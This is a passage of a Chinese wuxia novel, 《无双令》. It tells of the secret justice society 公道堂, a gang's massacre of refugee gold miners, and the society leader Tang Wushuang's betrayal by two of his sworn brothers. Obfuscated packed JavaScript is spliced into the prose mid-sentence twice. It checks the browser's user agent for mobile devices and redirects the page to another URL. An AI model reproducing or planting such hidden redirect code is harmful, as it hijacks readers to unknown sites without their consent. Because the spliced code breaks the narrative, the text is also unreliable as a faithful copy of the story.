《无双令》 1. 楔子 大宁朝承熙三年,腊月十二日。 忌:祈福,祭祀,出行,嫁娶,入宅,安床,开市…… 宜:杀人。 一支笔,一本册子,两只手, 这支笔,奇异而华丽,通体黑色,笔杆中可见星星点点的金沙,挥动之间摄人心魄,虽不是刀剑,但看到它的一瞬间,没有人会怀疑这同样是能夺人性命的凶器。 这支笔已经足够特别,但更特别的是执笔的手,手掌宽大而有力,握着笔的样子仿佛已经握住天底下最重要的东西:公理正义。 他的另一只手缓缓地抚上旁边的一本黄纸册子,纸质似皮非皮,细腻光滑,封面苍劲有力地写着两行草书:不可涉庙堂之事,不可动朝廷之臣。 手轻柔而坚定地掀开册子,里面每一张都龙飞凤舞写的满满当当,下面或是签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598494|171954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名,或是画押,唯有最新一页,底端模糊不清地印着一个血指印,干涸的浓浓褐色令人触目惊心。 放下笔和册子,这双手又郑重其事地拈起三根清香,朝上拜了拜,喟叹道:“天道不公,我自己立下的誓言,就由我自己来打破罢。” 说话之人,正是江湖中神秘莫测的公道堂龙头老大,人称‘天公地道,令出无双’的判仙笔主人,唐无双。 2. 第一章 惊变 大雪纷纷扬扬而下,冰天雪地,陕甘交界处一道山脉里,却有一群人正光着膀子,下半身紧衣绑腿扎束得利落,沉默地聚集在一起,雪亮短刀映着他们热血贲张的面孔,也映照着他们身后大大小小,馒头一般的窝棚。 这里是一处山坳,不知何时被流民占领,互相依靠着墙壁搭起了堪堪容身的居所,为了御寒,一半都掏了地洞,甚是低矮,用破板子拼凑而成的门里,一双双惊慌恐惧的眼睛在往外张望。 那是他们的老婆孩子,父母至亲,是他们要保护的人。 聚集起来的几十条精壮汉子,面对的是八个身单力薄的人,虽然人数上占优,为首的刀疤大汉却丝毫不敢怠慢,沉声喝道:“荆南十三凶!这里是西鹰帮周把头的地盘,各位若是想发个顺风财,怕是打错了算盘。” 和他们大雪天赤裸上身,热血沸腾的样子不同,这边的八个人无不畏寒地缩头缩脑,双手都笼在袖子里,阴恻恻地一笑:“若就是周把头请我们哥几个来的呢?” 刀疤大汉心里重重一跳,却依然大声说:“不可能!周把头当年是率着兄弟们拜过关公的,最是重规矩讲义气!” 他牙巴骨狠狠一错,恐吓道:“你就是杀了我们,帮内也自会为我们报仇!” “嘻嘻!”“哈哈”“嚯嚯嚯。”八个人东倒西歪地发出怪异的笑声,笑够了才说:“你们若是规规矩矩讨生活,挖几根人参黄芪什么的,周把头自然讲义气,但谁叫你们挖出了金子呢?” 此言一出,刀疤大汉闭了闭眼,一颗心直直地沉了下去,知道今天这场血战不可避免了。 他咬着牙,甚至都没有回头看一眼自己的兄弟们,还有窝棚里翘首期盼的家人,右手一挥,刀刃弹出一声悠扬的金属鸣叫,久久不散。 而就在这声音响起的一刹那,在场所有的人都动了! 光膀子的大汉们怒喝一声,纷纷抽出短刀,这是他们斥巨资在城里的铁匠铺定制的利器,厚背薄刃,没有任何装饰,唯一的用途就是:杀人! 他们能护着一家老小在这山坳里扎下根来,本也不是废物,此时悍不畏死地抢身上前,白刃翻飞,竟然打出了一股百人莫能敌的气势,若是按照素日抢地盘的打法,这一下就能让对手溃不成军。 只可惜,他们遇到的是荆南十三凶这等恶人。 八个人甚至都没有全动,只有前六个嘿嘿笑着,亮出了自己的兵器,一柄似刀似勾的利器,闪着漆黑的不详光芒,鬼魅一般冲入迎面杀来的人群中,或是一勾,或是一挑,鲜血飞溅之下,惨叫声响起,断臂残肢飞起,带着一蓬鲜血,带着热气挥洒在雪地上。 洁白晶莹的雪地,被热血一浇,几息之后又变成了红色的薄冰,被不知是谁的脚步重重踏碎,发出令人牙酸的吱嘎声。 战局甚至不能算是胶着,二十几人的队伍在迅速减少,刀疤大汉胸口沉闷到几乎窒息,等他眼睁睁看着一个兄弟在自己面前被两柄利器勾住,顷刻失去一臂一腿,颓然倒在地上之后,终于忍不住大喊:“我也可以给钱!我愿交出所有黄金,换你们今日停手!” 锵地一声,和他短刀相接的人阴森森地说:“晚了,你猜,我们是十三凶,剩下五个去哪里了?” 大汉惶然,急切之间忘记了一切,匆忙回头,目眦欲裂地看着被他们护在身后的窝棚上停了五条人影,正仰起脸对他怪笑着。 就在他们脚下踩着的窝棚里,一双双懵然不知的眼睛还在怯怯地向外张望。 “走!快走啊!”刀疤大汉豁出去地大喊,拼命挥舞着短刀,希望能突破重围杀回到自己亲人身边。 可惜晚了,五个凶人已经行动一致地飘然落地,抬脚踹破木板,伸手把里面的人揪出来,举手一抹,被割喉的孩子身体痉挛着倒了下去,从嘴里涌出大量鲜血,在雪地上痛苦地扑腾着,却发不出求救的声音。 “啊!”眼见孩子丧命,队伍里发出痛彻心扉的暴烈喊声,“我草你祖宗!” 愤怒可以使人暂时忘却恐惧和伤痛,但是在绝对的武力压制面前,还是不堪一击,正午的太阳发出薄弱的光芒,照着这片被鲜血染红的雪地。 面前的凶人无法抵抗,背后的家人被肆意屠戮,刀疤大汉终于感到了绝望,他不甘心地仰天长啸:“老天爷啊!你睁开眼,给我们一个公道吧!” “公道?”凶人们像是听到了天下最滑稽的笑话,都暂时停了杀人,前仰后合地讥笑,“你们不会也是听了江湖传言,信那个狗屁的公道堂罢?” 更有人夸张地四下张望:“都说公道堂来无影,去无踪,专门主持正义,在哪儿呢?哎呀我好怕呀!我杀了这么多人,他们夜里不会来找我吧?” 另一凶人捧场地说:“听说公道堂有位五娘子,美如天仙,半夜来找你,可不把你爽死了!?” 哄堂大笑之下,荆南十三凶之首,在后面始终没动手的人怜悯地叹息:“都是编出来给自己架势的,也只有你们这群穷棒子才当真,什么狗屁公道堂——” 话音未落,他嘴唇微张,却没继续往下说。 “老大?”身边的凶人察觉不对,刚开口询问,突觉胸口一凉,透出一截剑尖,他却并不在意,两只眼睛猛地一鼓,看着刚才还活蹦乱跳的老大腹部出现一个血洞,鲜血汩汩流淌而出。 他自己倒下去的时候还在模糊地想:原来他们十三凶的血,和别人的血是一样的啊…… 异变陡生,在窝棚处杀戮的五个凶人身形飞掠,转瞬会合在一起,惊疑不定地打量着四周。 静谧中,只听见有一个好听的声音不疾不徐地问:“不是要找公道堂吗?我来了。” 众人眼前一花,一个头戴帷帽遮面,身着锦衣的青年突兀出现在场中,他身形挺拔,气质非凡,走在这布满尸体和残肢的杀戮现场也气定神闲,却像一个富家少爷在自家花园散步,要摘一枝梅花来赏玩一般松弛。 刀疤大汉再也支持不住,双膝一软跪倒在地,激动又惊喜地颤抖着声音问:“公……公道堂?” “公道堂,行七,公子。” 青年颔首自报家门,又从怀里拿出一张纸照了照,曼声说:“李家窝棚六月发现金矿,隐匿开采,十一月在镇上妓馆泄密,西鹰帮周把头花银二千两,雇荆南十三凶屠白此地。” 念完,他抬起头扫了周围一圈:“可对?” 刀疤大汉整个人委顿下去,喃喃地说:“怪不得……” 荆南十一凶彼此对望了一眼,都产生了退意,尖着嗓子说:“我们是拿钱办事,如今办不成,走就是了,江湖规矩也没有赶尽杀绝的道理。” 他眼珠一转,对上指了指:“雇凶的是周把头,你们找他算账去啊!” “别急。”青年微笑着抽出腰间长剑,剑鞘和剑柄都镶满了珠玉,华丽得简直不像是杀人的武器,他笑起来热忱又温和,也不像杀人的人,可是从薄唇里吐出的话却令人胆寒,“天公地道,令出无双,今日公道堂办事,你们……一个都跑不掉。” 剑光一闪,血溅四方! 腊月十三日。 宜:杀人 风雪,远郊,破庙。 铺天盖地的雪纷纷撒撒地落下,天地白茫茫一片,将秀美山川污浊泥潭尽皆掩盖,连这荒郊野外的破败山神庙,从远处看去都变成一团伏在地面上的困兽,只有倒塌墙头顽强伸出的一枝红梅,还能给这世界带来一丝色彩。 天地之间的静谧被远处飞掠而至的一匹马打破,马上之人背着鼓鼓的行囊,身形高大彪悍,整张脸埋在络腮胡子里,看不清面目五官,只露出一双眼睛精光四射,睥睨四方。 他骑马姿态狂放,眼看要到门前才勒住缰绳,不待停住已经飞身而至,一掌推开两扇摇摇欲坠的庙门,大笑道:“我来晚了!” 大门里却不像外边那么破败,纵然居中的神像都已经半塌了身子,四面却挂着金碧辉煌的丝绸遮盖斑驳墙面,就连地上也铺了大红猩猩毡,一盆炭火烧得噼噼剥剥,整个室内盈满了温暖如春的热气,还带着一股馥郁的酒香。 大汉闭上眼睛陶醉地嗅了嗅,哈哈一笑:“是万花楼的情丝绕?大哥这是要犒劳兄弟了,可见今天的任务不一般呐。” 一个和气的还带着笑意的声音从旁边传来:“斧头,你来得晚,好酒都给我们喝光了。” “我不信!”大汉笑着往炭盆前一坐,径自伸出宽大手掌去烤火,“公子还没来,大哥怎么舍得不给他留?” 他一语叫破,不光说话的人忍俊不禁,连坐在神像之前的人也发出了笑声,他身形不见得多么高大,端坐在那里却显得岳峙渊渟,沉稳踏实令人一望安心,整个脸庞隐藏在一张黑金打造的奇巧面具之下:“五娘子今天不得空,特地送了十坛酒过来,放心,有你喝的时候。” 斧头微微怔了一下:“今日之事,少了五娘子怕是不行。” 被称为大哥之人自面具后喟叹一声:“她也知道此事非同小可,所以提前去做布置了。” 一提到正事,大家都正经起来,斧头肃容问道:“大哥,你可查清楚了?” 戴着面具,大哥的脸色看不见,只是微微侧头,指着自己膝下的位置:“前几日海龙帮邓家最后一个人,就是在这里咽的气。” 海龙帮是江城最大的漕运帮派,江城九省通衢,人才辈出,帮派林立,海龙帮邓老大一手分水峨眉刺,陆上水下两层功夫,几十年把持大小九条水道的生意,仇人对家数不胜数,不知道多少人想让他死,但从没有人成功过。 但昨天,强盛的海龙帮邓家灰飞烟灭,江湖各大帮派噤若寒蝉,不敢出一声。 只因为灭了邓家的不是别人,是官府。 深夜突然来了一队人马,铁甲长枪封锁街道,附近老百姓惴惴不安地躲在家里,只听见里面喊杀阵阵,惨叫声划破天际,早上起来满街衙役督促送水工一桶桶地运水进去洗地,那水流过阴沟里,沿途都能闻到血腥味。 方才跟斧头开玩笑的人是个青衣短衫的普通人,面带和气,此刻也不笑了,皱着眉头不放心心地问:“大哥,若是江湖恩怨,便是杀一百个,也是我们自己的事,如今杀了当官的,难免不被朝廷视做公然造反的逆贼,后患无穷,我们……真要如此?” 其实,此事说起来,也是邓家理亏在前头,少帮主押货归来,路遇水匪劫掠客船,他救下一位姑娘,郎情妾意的两人就此成了好事,结果船到江城才知道,姑娘竟然是知府的外甥女。 男未婚女未嫁,这本来也算是一桩美谈,却以姑娘当堂状告邓家强占民女,一头碰死在堂前结束,风月佳话突然变成了不死不休。 其实,大哥也试过从中斡旋,他交代“公道堂”的老二亲赴海龙帮,劝说邓帮主送子归案,并承诺一定查清真相还一个清白,无奈邓帮主自恃势大,不但不听,反而下令海龙帮上下帮众罢市三天,引得来往货船客船在码头挤挤挨挨,放出话去,借此要挟知府不再追究。 于是,海龙帮就等来了灭门惨案,老二赶到时,堪堪救下了邓家落水的一个子侄,带到大哥面前,那人伤得极重,说了句‘报仇’就咽了气。 “呛啷”一声,却原来是斧头扯去了背上包裹的油布,露出一柄雪亮巨斧,他慨然一笑:“扯东扯西的作甚?江湖规矩,血债血偿,总不能因为是官府中人就不算这个账?我听大哥的,大哥叫我来,那今晚就杀个痛快!” 他说得口沫横飞,眼神兴奋,连斧刃上都跳跃着凶光。 大哥目光淡漠,看了一眼他,却又转向青衣人:“老三,事已至此,并非我想大开杀戒,只是邓家上下三十六条人命,我始终要向江湖做一个交代,不然公道堂如何称得上公道?” “公道堂”,江湖上暗暗流传的组织,它成立的宗旨就是铲除江湖不平之事,无论是谁,是贩夫走卒还是武林泰斗,无论是豪富还是贫穷,只要觉得自己受了冤屈,必须求一个公道的时候,都会想起这个名字。 江湖传言,不必有任何报酬,也不必付出什么代价,更不必费心去结交巴结,只要你把你的冤屈写在随便一个城隍庙的神台下面,公道堂就会神奇地出现,给予你最公正的裁决。 江湖之上没人知道这个神秘的组织是谁创立的,只知道成员一共七名,有人说,这是天上北斗七星下凡,专为裁决江湖上的纷争而来。 甚至,连成员内部都不知道彼此是谁,别看破庙里青衣人坦然相见,但斧头和老大都知道,老三没有别的长处,唯独擅长易容,出了这间破庙,他就不是这张脸了。 此时破庙内沉寂下来,只有炭盆里发出的轻微声音伴随着门外北风怒号,一阵阵地传来。 斧头盯着炭火,突然一笑:“大哥,公子到现在还没来,今天这买卖怕是赶不上了,不如他那份好酒你也别藏着掖着?放心,我不白喝!养足了力气,晚上多杀几个狗官给你出气!” “六弟。”大哥沉声点醒他,“我们今夜不为杀人,只为公道,拿知府的一条命祭奠邓帮主在天之灵,其余衙役,不过是听命于人,到也没必要赶尽杀绝,我们公道堂不造杀孽。” 斧头遮脸的大胡子耸动一阵,似在撇嘴不屑,偏偏这时候破庙门口响起一声轻笑:“六哥好不地道,我只不过看这一枝红梅开得可爱,在这里驻足片刻观赏,你就想昧下我的酒?” 说着,两扇门无声而开,北风卷着鹅毛雪花落在猩猩毡上,一只锦缎绣金长靴抢先踏入,吸引了室内所有人的目光。 公子人如其名,白衫胜雪,衣摆飘飞,单手执着镶珠嵌宝的鲨鱼皮剑鞘,头上帷帽纱帘遮脸,虽看不见面目,那一股意态风流的劲儿却陡然让整个破庙都变得风雅起来。 也不见他动,一闪身却已经到了神像之前,朝着居中而坐的面具人拱手施礼:“大哥,幸不辱命,我及时赶回来了。” 大哥声音里都不自觉地带上了欢喜,伸手相搀:“辛苦七弟。” 在斧头眼巴巴的盼望中,大哥从座位后面拿出两个糊着泥封的精美小酒坛,亲自递到公子手里:“远路天寒,且喝杯酒暖暖身子。” “大哥!”斧头实在忍不住,叫了起来,“我何尝不是赶了半天路才到的地头!五娘子这酒也不能就仅着他一人喝吧?未必晚上只有他跟着你出工出力,我只用跟在后面捡人头?” 公子转过头来,隔着帷帽都可以看到他目光如星冷冽,说出来的话也是讥峭:“这情丝绕给你喝,不过是从酒坛换个酒囊盛。” 斧头懵然不知他取笑的意思,还从腰间拿出个皮酒囊显摆:“你怎么知道我还带了酒囊?我山寨偏远,进城不易,本来就打算装多一点回去喝。” “斧头!不可泄露根脚!”大哥喝止他,斧头却满不在乎,哈哈一笑:“都是自家兄弟,这里又没外人,我信得过你们,说真的,大家的根脚也没正经掩藏过,就好比……” 他伸出大手一一指点:“公子这一身,只怕是哪个富贵人家的少爷,五娘子天仙样的人,不是万花楼的姐儿就是百花深处的女先生,老二,交游广阔,吃百家饭的主儿,老三么……” 青衣人泰然自若,还冲他挑衅地笑了笑,斧头眼珠一转用力拍了拍胸膛,大声笑道:“我连他真面目都没见过,就不瞎猜了!也不怕告诉你们知道,我就是土匪!官府想剿匪也不止三五年了,拔了老子一根汗毛去?” 大哥掌风一挥,两坛酒打着旋儿从座位下飞向斧头,打断了他的话头,斧头喜不自胜,粗鲁地拍开泥封,如龙吸水一般,转瞬就干了一整坛,吐出一口浊气:“痛快!” 趁他拿起第二坛的时候,大哥关心地询问:“七弟,你长途跋涉,今夜行动可还撑得住?” 公子轻声说:“无妨,我已经歇过来了。” 他目光澄澈,透过帷帽遮掩认真地看着大哥:“今夜对我们公道堂至关重要,我惟愿跟在大哥身边,尽我全力。” 两人对视一眼,大哥在面具之后也微微动容,点了点头:“也罢,天公地道,令出无双,这世间除了我等,也没有人再敢冒天下之大不韪挺身而出,今日就要替邓家向官府讨一个公道!” 说着,他从袖中抽出黑金所制的判仙笔与一本黄纸册子,也不止从何处蘸来一点朱砂,册子无风自动,哗啦啦地翻到中间,众人屏息静气,看着大哥在这一页上重重地打了个叉。 赤色淋漓,犹如鲜血写就,杀气四溢,江湖中传言:一笔定生死,一笔定公道,这个叉落下,再无回旋余地。 即使,今夜要杀的是朝廷命官。 天擦黑的时候,几人离开了破庙,分头而行,老三是走得最快的,他飞掠过雪地的时候甚至没留下一丝痕迹,斧头捧腹大笑:“大哥,你看老三,有这身轻功还跑得这么快,生怕被人堪破端倪,也不知道是防谁呢!” 大哥摇了摇头,觉得斧头粗疏的心态迟早要惹祸,正要出言提点,转念又一想,大战在即,倒也没必要在这时候纠正他,于是摆摆手:“小心为要,你这一路上也要谨慎些。” 斧头满不在乎,手里还提着那柄凶光四射的大斧头,笑嘻嘻地说:“你们先走,我把此处毁了就跟上。” 大哥颔首应允,身形一闪,宽大灰衣如蝙蝠翼张开,三五息的工夫已经消失在漫天飞雪之间,公子微微仰头,看了一眼墙头探出的红梅,叹息道:“可惜啊,可惜。” 斧头见他也走了,搔了搔大胡子,嘀咕道:“这里面的丝绸锦缎大地毯,就要埋在瓦砾之下,是挺可惜的。” 他嘴上这么说,手里握着斧子,漫不经心地一推,横空而出一道锐不可当的刃风,咔嚓一声,破庙的大门连着两根立柱当中截断,轰隆一声,碎雪片瓦冲天而起,刚才还热炭好酒,群雄聚集的地方,已经被埋的严严实实,再也不复原样。 “走咯!”斧头一声口哨招来骏马,扬长而去。 鹅毛大雪依然纷纷扬扬地下着,很快遮蔽了地面的一切痕迹,就像什么都没发生过一样。 江湖俗话说“偷风不偷月,偷雨不偷雪。”从江城的钟鼓楼望下去,高低错落的屋顶都被大雪掩盖,一片洁白,哪怕是个猫儿经过都能留下清晰脚印,如此雪夜,再没有不长眼的小偷还出来办事的。 大哥站在钟鼓楼的窗内,眼睛盯着不远处的府衙,和周围一片漆黑的百姓住宅不同,虽然已至二更,但府衙内灯火通明,粗豪的笑声隐约传来,不时还有仆役抬着酒坛子自后门进入。 一道黑影悄无声息地落在他身后,手掌轻翻,剑鞘微微一弹,雪亮如秋水的剑刃之光映着雪光,寒气四溢,公子改换了一身黑色夜行衣,同色蒙面巾上的双眼紧紧盯着大哥的后心,似乎在考虑怎么一击得手。 大哥站姿未变,头都没回,右手微微抬起,指尖执着一柄小小的刻刀,似乎是随手一点,攻势却已经笼罩身后之人三十六要穴。 公子的身体僵住了,急忙出声:“大哥,是我。” 大哥的声音里不带杀机,反而带着笑意:“淘气,你怎么知道我在这里?” 公子也笑了,呛啷一声长剑归鞘,脚步轻捷地上前和他并肩而立:“我和大哥心有灵犀。” 他的目光落在大哥手上,好奇地问:“这是做什么?” 大哥的手稳定地握着刻刀,在一块木头上细细雕琢着:“我捡的那个孤儿,叫小江的,要过生日了,他一向懂事,我雕个小玩意儿送他。” 公子了然地点点头:“哦,听你说起过,景行和他年岁相当,有个伴儿也好。” “只可惜这孩子心志虽坚定,天赋么……实在是欠缺。”大哥摇摇头,语带遗憾,“否则,我倒真想收他做亲传弟子,将来进公道堂,还能祝你一臂之力。” 公子身形微微一颤,这还是大哥第一次明示,以后要把公道堂交到他手里,他不但没有受宠若惊,反而毫不犹豫一口拒绝:“大哥,有你才有公道堂,江湖人看的本来就是你的面子,我来得晚,和各位兄弟姐妹又不熟悉,怎么也轮不到我坐这个位置,此话以后休要再提。” 此时大哥手中的木蜻蜓已经成型,他随手塞入袖中,笑着拍了拍公子的肩膀:“先别急着拒绝,我又不是过了今天就把判仙笔传给你,再说,其他人么……” 他摇摇头,竟然露出些一言难尽的神情:“都不是这块料。” 公子忍不住笑了:“斧头若是听到大哥这么说他,一定又气得哇哇叫。” “我是说真的,七弟,你进公道堂这三年来,一片赤诚之心,我都看在眼里。”大哥从袖中掏出黄纸册子,信手一翻,上面每一页标注的数字里,‘柒’字十有五六,都是公子过往的赫赫战绩。 公子左顾右盼,故意打岔:“当初二哥荐我进公道堂的时候,大哥是不是还腹诽我像个养尊处优的少爷一样?不然怎么会我给我起‘公子’这样的诨名。” 提起往事,大哥也笑了:“可不是,我当时心里暗想:老二胡闹。” “我可是给二哥做了半年调查的暗探,他才肯松口的。”公子黑白分明的双眸含笑看着大哥,“大哥,和那时候一样,我心意始终未改,进公道堂不为其他,所为……只是不想让信任我的人失望。” 伸手轻轻在他肩膀上拍了拍,大哥低声说:“你已经做得很好了……其实,今晚你不该来。” 公子一怔,疑惑不解地看着他,干笑了一声:“大哥,你这话是什么意思?” “你身上还带着伤罢?”大哥一语道破,“下午你迟到也是因为去换了身衣服,不想让我们发现。七弟,来日方长,不要太拼命了。” 他声音里带着隐隐忧虑和关心,公子却不以为然地活动了一下手臂,轻描淡写地说:“荆南十三凶,名头虽响,一群乌合之众,不过是被秃毛鸡的爪子叨了一下,大哥放心,不碍事。” 说完又一笑:“今天这场可是硬茬子,虽然其他兄弟不能前来,我总是要跟大哥同进共退的。” 此时打更的更夫敲着梆子从钟鼓楼下经过,已是二更二点,不远处的府衙依然热闹得不像话,笑语喧哗之声中甚至还夹杂着丝竹唱腔,公子皱眉冷笑:“真是不知死活。” “这世道,一日比一日混乱。”大哥凝视着府衙的方向,语气沉重地地说,“早年间江湖虽然谈不上太平,也少见荆南十三凶这等丧心病狂的禽兽出现,更不用说如今朝堂之上也是一片动荡。” 他摇摇头,不欲多言,公子却饶有兴趣地追问:“哦?大哥对朝廷的事也有了解?” 大哥负手站在风雪之中,沉吟了一会儿才说:“江湖势力始终是朝廷的心腹大患,如今新帝登基,立足未稳,又有奸宦当道,他们狗咬狗暂时腾不出手来,过三五年……怕就不是如今的光景。” 他言语中带着深深的忧虑,指向远处的府衙:“老二传来线报,李知府灭邓家满门,动用的是附近卫所周千户的力量。” 公子吃惊抬头:“私自调兵?这要是应景被揭出来可是谋逆之罪,老邓手里有什么泼天的富贵,值得他下这么大本钱?” 大哥语气冷静,声音里带着一丝寒意,“无所谓,既然来了,就都别走了。” 说罢,他大袖一振,整个人已经跃出窗口,俯冲而下,脚尖轻轻一点屋顶,手中判仙笔寒光乍现,向着府衙的方向掠去。 与此同时,百里之外的一所庄院里,唐小江正捧着自己捏的雪人,小心翼翼地来到唐景行房内,他小手冻得通红,但看见病卧在床的唐景行没精打采的小脸上骤然露出的欢喜之色,顿时觉得手也不那么疼了。 “少爷,这个送给你。”唐小江在博古架上找了个玛瑙盘子把雪人盛好,献宝一样端到床头,唐景行爬起来,用被子裹住自己,眼睛亮了起来,惊喜地伸手摸了一下:“下雪了?” 他突然想起了什么,板起小脸:“都说了不要叫我少爷!我爹说了,你也是我们唐家的人。” 唐小江惭愧地低下头,低声说:“我没有资格当唐家的人,一百零八个穴位到现在才记熟了三十八个,雨花笔法十三式更是连第一式都练不会。” 他越想越难过,哭丧着脸说:“唐大侠会不会觉得我太笨,不要收我做徒弟了?” 唐景行从被子里伸出手,小大人一般摸了摸他的头顶安慰:“夫子说,笨鸟先飞,你若是什么地方不会,就多多练习,熟能生巧。” 他也不过是个八岁的孩子,说起话来却让唐小江十分信服,连连点头:“少爷说得对,我回去一定好好练习。” “都说了不要叫我少爷,嗯,叫我一声师兄如何?”唐景行突然来了兴趣,煞有介事地拍了拍胸脯,“我给你开小灶,包你学会。” “可是……你比我小啊。”唐小江认真地纠正他。 唐景行威胁地挥了挥小拳头:“你就说学不学吧?” “学……”唐小江小声说。 唐景行这才满意地点头,大模大样地说:“其实雨花笔法有很多诀窍的,你认真听我的,一点就通。” 他虽然身体病弱,但从小就浸淫家传武学,加之聪明过人,唐小江平日苦思不得其解的瓶颈,被他稍一点拨,顿时醍醐灌顶,当即在唐景行的书桌上随便抓了只毛笔,在屋子里就地演示起来。 “是不是这样?”唐小江比划着,兴奋不已,感觉自己总算摸到了雨花笔法的门槛,连手里这支不起眼的羊毫也变成了令江湖中人闻风丧胆的‘判仙笔’,挥洒之间豪气丛生。 “嗯,孺子可教!”唐景行老气横秋地点着头,又故作神秘地朝他招了招手,等唐小江凑过来的时候,他探身过去,在床头摸索着一按,雕花的木板咔哒一声弹开,昏黄的烛光下,里面一支黑金笔熠熠生辉。 长一尺七分,通体粗圆,一端状如枣核,,正是唐家世代相传的判仙笔! 两个小脑袋凑在一起,聚精会神地看着,唐小江发出敬畏的低声:“这……和唐大侠手里那一支好像哦。” “当年我唐家祖宗在沙漠走商的时候,偶见飞虹贯日,找了三天三夜才捡到这块天外陨铁,铸成两支笔,一般大小无分雌雄,我爹常年外出不在家,所以特地把这一支留在我身边,就好像一直他陪着我一样。” 唐景行拿出判仙笔,细细地摩挲着,欣赏了一会儿黝黑笔管里细碎的金砂反光,大方地递给唐小江:“哪!借你去练功。” “不,不好吧!”唐小江的眼睛都快长在笔管上了,还是恋恋不舍地拒绝,“我拿木笔也一样练的。这判仙笔可是唐家的宝物,我听江湖上传闻,宝物有灵,都是认主的,只有在唐家人手里才能发挥最大威力。” 唐景行恨铁不成钢地用笔尖戳了他胳膊一下,老夫子一般地指点:“不要听信那些神神鬼鬼的江湖传言,我爹说过,判仙笔作为武器固然重要,但更重要的是执笔的人,落在心怀叵测的人手里,它也不过是一柄杀人害命的凶器罢了,若真的宝物有灵,它名为判仙,秉持权衡之道,自当是被心存公理正义,愿意为之抛头颅洒热血的赤诚人士握在手里,方能心笔合一,贯通圆融。和是不是唐家人没关系。” 他看向唐小江,眼睛里闪着真挚的光芒:“还有,你姓唐,已经是唐家人了。” 虽然被戳的有点疼,唐小江揉着胳膊还是傻乎乎地笑了,一颗心激动地乱跳,眼睛盯着黑金笔,拒绝的话还在嗓子眼里,却怎么也说不出来了。 “拿去!什么时候练会了雨花笔法第一式,就用这支笔演给我看,也不枉我当你师兄一场。”唐景行叮嘱着,把笔硬塞到他手里。 他本就在病中,又说了这么一阵子话,困意袭来,打了个哈欠,挥手告别:“去吧!我要睡了。” “哎!”唐小江看着唐景行躺回去,又仔细地给他拉好被子,小声许诺,“我明儿在院子里给你堆个大雪人。” 唐景行白皙的小脸半埋在被子里,眼都睁不开,困倦地嗯了一声,鼻息渐渐均匀。 等到他确实睡着了,唐小江才蹑手蹑脚地出门,他怀里揣着黑金笔,就像是揣了一团火,大冬天的烧得他睡意全无,站在院门口想了想,索性一跺脚:“都说三更灯火五更鸡,这三更起的鸡就更早。” 说罢,他拿出当年流浪做乞儿时候的看家本领,灵活地翻身上墙,贴着庄院的墙根一溜小跑,向着山后的密林跑去。 大雪纷纷而下,很快掩盖了他的足迹。 三更天,本该是万籁俱寂的江城却笼罩在一片惊惶之中,府衙突兀地起了火,熊熊火光映红了半边天,也映着无数雪亮的刀刃。 从踏入府衙的一瞬间,大哥就觉得不对! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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依旧是满脸大胡子分辨不清五官,只是此时的双眼已经没了白天的憨厚,而是带着一股阴险恶毒的煞气,狞笑着说:“大哥,留下罢。” “果然是你。”大哥反而镇定下来,点了点头,又环顾一下四周,看着火墙外围得水泄不通的官兵,“我早该想到的。” 斧头咧开嘴,笑得露出了凶恶的犬齿:“哦?原来大哥内心也知道对我有亏欠?是啊,我跟着你五年,除了东奔西走去帮你主持那劳什子公道,一个铜板的好处也没捞到,每次还要遵循你的江湖规矩,这个不能抢,那个不能抢,我当良民的时候守规矩,当了土匪还要守规矩,那我不是白上山了?” 他举起巨斧,阴森森地笑道:“所以我觉得,还是杀了你比较好。” 不待说完,他抡起斧子,利风再度袭来,冲着中路眼看就要把大哥分成两段。 “就凭你?”大哥轻蔑一笑,不闪不避,反而迎着巨斧冲了上去,手中黑金笔尖一闪,准之又准地点在了唯一的漏洞上,清脆的‘噹’声回荡不已,人高马大的土匪竟然被这一笔带来的反击之力震得后退了三步,堪堪站稳。 火墙后传来暴躁的喊声:“射箭!射死他!” 大哥隔着燃烧的火焰看过去,把那张浸淫酒气的白胖脸庞记在心里,更不停留,借着反震之力飘然而起,灰衣翻飞,眼看就要掠出火墙的包围圈,绝尘而去。 就在此时!一个黑衣人踉跄着从墙边跌进来,他似乎是受了伤,行动不复往日的轻灵,有乱箭飞来,拔剑抵挡的反应也慢了一瞬,膝盖一软,狼狈地差点跪在地上。 公子仰起头,额头大颗冷汗滴下,看到大哥的身影时眼睛一亮,随即又暗淡下来。 他勉力站起,义无反顾地回身面对蜂拥而来的追兵,怒吼一声:“大哥!走!走啊!” 不等他去拼命,大哥已经改变了方向,从上方像只蝙蝠急转之下,一把揪起他的衣领,护在身后,沉声说:“好兄弟,我们一起杀……” 和‘杀’字一起出口的,是喷涌而出的鲜血。 大哥迟疑地往下看了一眼,雪亮剑尖从胸口贯穿而出,映着自己不可置信的双眼,和瞬间苍白的脸。 他嘴巴张了两下,更多的鲜血喷涌了出来,呛咳着,竭尽全力地吐出几个含糊不清的字,似乎是在问:“为什么?” 终于,大哥垂着头,重重地跌倒在地上,大睁双眼,死不瞑目。 背后,公子正默不作声地把长剑归鞘,跳跃的火光在他脸上投下光与影的变化,让他俊秀出众的脸庞显得神秘莫测。 “对不起了,我是朝廷的人。”他轻声说。 大哥,你有句话说的特别对,心腹大患,是一定要铲除的。 斧头扛着巨斧,走过来,大喇喇地用脚尖拨弄了一下大哥的尸体,迫不及待地问:“接下去做啥?” 公子微微仰脸,上位者的高傲与冷漠就在此刻回到了他身体里,彻底和那个公道堂急公好义的七公子剥离开来,淡淡地说:“自然是斩草除根。” 